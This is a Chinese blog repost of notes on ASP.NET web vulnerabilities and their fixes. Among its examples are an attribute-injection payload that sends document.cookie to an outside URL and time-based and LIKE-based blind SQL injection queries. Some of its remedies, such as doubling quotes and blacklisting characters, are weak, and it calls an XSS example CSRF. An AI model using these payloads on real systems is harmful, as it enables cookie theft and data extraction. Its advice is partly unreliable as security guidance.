安全漏洞以及解決方法


一、Padding Oracle Vulnerability,填充甲骨文漏洞。原文:ScottGu的說明

老趙

 解決方法:1。添加報錯頁面。防止給黑客提示信息。

<configuration>
<system.web><customErrorsmode="On"redirectMode="ResponseRewrite"defaultRedirect="~/error.aspx"/></system.web>
</configuration>

 

2. Error頁面睡眠一會,給黑客照成困難

<%@ Page Language="C#"AutoEventWireup="true"%>
<%@ Import Namespace="System.Security.Cryptography"%>
<%@ Import Namespace="System.Threading"%>
<script runat="server">  
 voidPage_Load() {     
 byte[] delay = newbyte[1];      
RandomNumberGenerator prng = newRNGCryptoServiceProvider();      prng.GetBytes(delay);      
Thread.Sleep((int)delay[0]);              
IDisposable disposable = prng asIDisposable;     
 if(disposable != null) { disposable.Dispose(); }    }
</script>

<html>
<head runat="server">    
    <title>Error</title>
</head>
<body>    
    <div> An error occurred whileprocessing your request.    </div>
</body>
</html>

 

 

 

二 、 sql 注入。方式有:

  1、傳參url方式,直接得到querystring,然后查詢數據庫。

  2、文本框輸入,如登陸。解決方 法:1..Replace("'", "''");單引號變成雙引號2.用存儲過程。

  3、如果不用存儲過程,應該把每個傳遞用單引號包含進去。如 '"+querystring+"'".

  原文:sql注入

三、參數污染

這個下面的xss攻擊解決方法差不多,1.對參數進行驗證。2.加引號

一下是在數據庫驗證前的過濾

  //參數不可以傳逗號
        string name=Request["name"].Split(',')[0];
 
  //想傳逗號,又想不參數污染的取值方法
 
        Hashtable argObj = new Hashtable();
        if (Request["name"] != null)
        {
            string[] sArgs = Request.QueryString.ToString().Split('&');
            for (int i = 0; i < sArgs.Length; i++)
            {
                string[] r = sArgs[i].Split('=');
                argObj[r[0].ToString()] = r[1];
            }
        }
//js方法 name=1&name=2 
//取第一個name=1
        function request(name) {
            name = name.replace(/[\[]/, "\\\[").replace(/[\]]/, "\\\]");
            var regexS = "[\\?&]" + name + "=([^&#]*)";
            var regex = new RegExp(regexS);
            var results = regex.exec(window.location.href);
            if (results == null)
                return "";
            else
                return results[1];
        }
//取最后一個name=2 
          function argToObject() {
            var sArgs = location.search.slice(1).split('&');
            var argObj = {};
            for (var i = 0; i < sArgs.length; i++) {
                var r = sArgs[i].split('=')
                argObj[r[0]] = r[1]
            }
            return argObj
        }

四、 csrf跨站點請求偽造,1.可以理解為cookie劫持。

 <a href="fundzf.aspx?symbol=<%=strSymbol%>">基金分紅與拆分</a>

?symbol="  onmouseover=window.open("http://www.baidu.com?cookie="%2Bdocument.cookie)  bad="

這樣就可以 當把這個頁面被點擊的時候,客戶的cookie就會被劫持

解決方案:對傳過來的參數進行檢查

2.<%@ Page Language="C#" ValidateRequest="false" AutoEventWireup="true" CodeBehind="WebForm2.aspx.cs"
    Inherits="WebApplication6.WebForm2" %>

<html>
<script runat="server">
    void btnSubmit_Click(Object sender, EventArgs e)
    {
        // If ValidateRequest is false, then 'hello' is displayed
        // If ValidateRequest is true, then ASP.NET returns an exception
        Response.Write(txtString.Text);
    }
</script>
<body>
    <form id="form1" runat="server">
    <asp:TextBox ID="txtString" runat="server" Text="<script>alert('hello');</script>" />
    <asp:Button ID="btnSubmit" runat="server" OnClick="btnSubmit_Click" Text="Submit" />
    </form>
</body>
</html>

解決方案:1.升級.netframework,上面的代碼在.netframework2.0中,可以執行,但是在4.0中就會報錯。2.對用戶輸入的內容進行元字符過濾

 

s腳本中過濾特殊字符的正則表達式代碼:
function stripscript(s) 

var pattern = new RegExp("[`~!@#$^&*()=|{}':;',\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:”“'。,、?]") 
var rs = ""; 
for (var i = 0; i < s.length; i++) { 
rs = rs+s.substr(i, 1).replace(pattern, ''); 

return rs; 

校驗所有輸入域是否含有特殊符號
/** 
* 校驗所有輸入域是否含有特殊符號 
* 所要過濾的符號寫入正則表達式中,注意,一些符號要用'\'轉義. 
* 試例: 
* if(checkAllTextValid(document.forms[0])) 
* alert("表單中所有文本框通過校驗!"); 
*/ 
function checkAllTextValid(form) 

//記錄不含引號的文本框數量 
var resultTag = 0; 
//記錄所有text文本框數量 
var flag = 0; 
for(var i = 0; i < form.elements.length; i ++) 

if(form.elements[i].type=="text") 

flag = flag + 1; 
//此處填寫所要過濾的特殊符號 
//注意:修改####處的字符,其它部分不許修改. 
//if(/^[^####]*$/.test(form.elements[i].value)) 
if(/^[^\|"'<>]*$/.test(form.elements[i].value)) 
resultTag = resultTag+1; 
else 
form.elements[i].select(); 


/** 
* 如果含引號的文本框等於全部文本框的值,則校驗通過 
*/ 
if(resultTag == flag) 
return true; 
else 

alert("文本框中不能含有\n\n 1 單引號: ' \n 2 雙引號: \" \n 3 豎 杠: | \n 4 尖角號: < > \n\n請檢查輸入!"); 
return false; 

}

 

五。Unencrypted __VIEWSTATE parameter,viewstate 保存沒有加密,解決方法

在web.config.中,system.web中加    <machineKey validation="3DES"/>

六。Cookie攻擊的兩種手段:

1,Cookie欺騙

  通過盜取、修改、偽造Cookie的內容來得到相應權限或者進行相應權限的操作。

2,Cookie注入

  利用Cookie進行數據庫SQL注入,很多人注意過濾通過Get和Post方式獲取的參數,但是卻疏於過濾從Cookie獲取的參數,這點是要引起注意的。

使用Cookie保存的數據

一 般不要用Cookie保存用戶的個人信息,比如密碼、郵箱等,但是如果想在用戶鏈接到網站的時候,驗證用戶是否是上次登錄的那個用戶,可以用戶每次登錄成 功后,將一個隨機密碼發送到瀏覽器端保存(當然在服務器端數據庫也要保存該字段,假如字段名為CookiePassword,注意與用戶登錄密碼不同), 當用戶再次登錄時,首先驗證用戶發來的密碼與CookiePassword字段(不是用戶密碼)中保存的是否一致,相同即可認為是上次正常登錄的用戶。

七。盲sql注入,Blind SQL Injection 解決方法和sql注入一樣。

區別是,sql注入有錯誤的提示信息,盲sql只有對錯,沒有提示信息。

實例:1.通過實踐判斷 我們的盲sql對了沒有,select  * from  sysusers where  (SELECT count(*) FROM sysusers AS sys1
                                , sysusers assys2, sysusers as sys3
                                , sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
                                ,sysusers AS sys7)>1

例如這個,時間會很長,記住時間。

select  * from  sysusers where  (SELECT count(*) FROM sysusers AS sys1
                                , sysusers assys2, sysusers as sys3
                                , sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
                                ,sysusers AS sys7)>1


 and 0>(select top 1ascii(substring(name,1,1)) from sysusers)

時間很短,說明盲sql沒有得到想要的數據。

select  * from  sysusers where  (SELECT count(*) FROM sysusers AS sys1
                                , sysusers assys2, sysusers as sys3
                                , sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
                                ,sysusers AS sys7)>1


 and 300>(select top 1ascii(substring(name,1,1)) from sysusers)

時間長點,說明 我們得到了東西。

2.通過正則表達式達到目的,我們要用到like.

select  * from  sysusers where 頁面的參數 and 1=(SELECT TOP 1 1 FROM sysusers WHERE  name LIKE '[a-z]%')

有返回值,說明我們正確


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM